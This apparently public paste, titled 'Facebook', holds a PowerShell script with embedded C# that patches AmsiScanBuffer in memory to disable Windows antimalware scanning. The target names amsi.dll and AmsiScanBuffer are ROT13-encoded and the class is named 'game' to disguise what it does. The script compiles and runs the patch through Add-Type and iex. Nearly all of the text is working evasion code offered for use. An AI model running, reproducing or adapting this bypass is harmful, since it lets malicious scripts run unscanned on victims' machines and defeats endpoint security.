Facebook
From [email protected], 1 Month ago, written in Plain Text.
Embed
Download Paste or View Raw
Hits: 1904
  1. $code = @"
  2. using System;
  3. using System.Diagnostics;
  4. using System.Runtime.InteropServices;
  5.  
  6. namespace game {
  7.     public class Program {
  8.        
  9.         static byte[] patch = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };
  10.         static IntPtr addr = GetFunctionAddr(Transform("nzfv.qyy"), Transform("NzfvFpnaOhssre"));
  11.         public static void Main(string[] args) { // thanks: https://rastamouse.me/memory-patching-amsi-bypass/
  12.             uint oldProtect = 0;
  13.             VirtualProtect(addr, (IntPtr)patch.Length, 0x40, ref oldProtect);
  14.             Marshal.Copy(patch, 0, (IntPtr)addr, patch.Length);
  15.  
  16.         }
  17.         static IntPtr GetFunctionAddr(string module, string function) { // function name is case sensitive
  18.             LoadLibrary(module);
  19.             var modules = Process.GetCurrentProcess().Modules;
  20.             var hMod = IntPtr.Zero;
  21.  
  22.             foreach (ProcessModule pModule in modules) {
  23.                 if (pModule.ModuleName.ToLower().Equals(module.ToLower())) {
  24.                     hMod = pModule.BaseAddress;
  25.                     break;
  26.                 }
  27.             }
  28.             var FunctionAddr = GetProcAddress(hMod, function);
  29.             return FunctionAddr;
  30.  
  31.         }
  32.         public static string Transform(string value) {
  33.             char[] array = value.ToCharArray();
  34.             for (int i = 0; i < array.Length; i++) {
  35.                 int number = (int)array[i];
  36.  
  37.                 if (number >= 'a' && number <= 'z') {
  38.                     if (number > 'm') {
  39.                         number -= 13;
  40.                     }
  41.                     else {
  42.                         number += 13;
  43.                     }
  44.                 }
  45.                 else if (number >= 'A' && number <= 'Z') {
  46.                     if (number > 'M') {
  47.                         number -= 13;
  48.                     }
  49.                     else {
  50.                         number += 13;
  51.                     }
  52.                 }
  53.                 array[i] = (char)number;
  54.             }
  55.             return new string(array);
  56.         }
  57.         [DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)]
  58.         static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)] string lpFileName);
  59.         [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
  60.         static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
  61.         [DllImport("kernel32.dll")]
  62.         static extern bool VirtualProtect(IntPtr intptr_0, IntPtr intptr_1, uint uint_0, ref uint uint_1);
  63.     }
  64. }
  65. "@
  66. Add-Type -TypeDefinition $code -Language CSharp
  67. iex "[game.Program]::Main('')"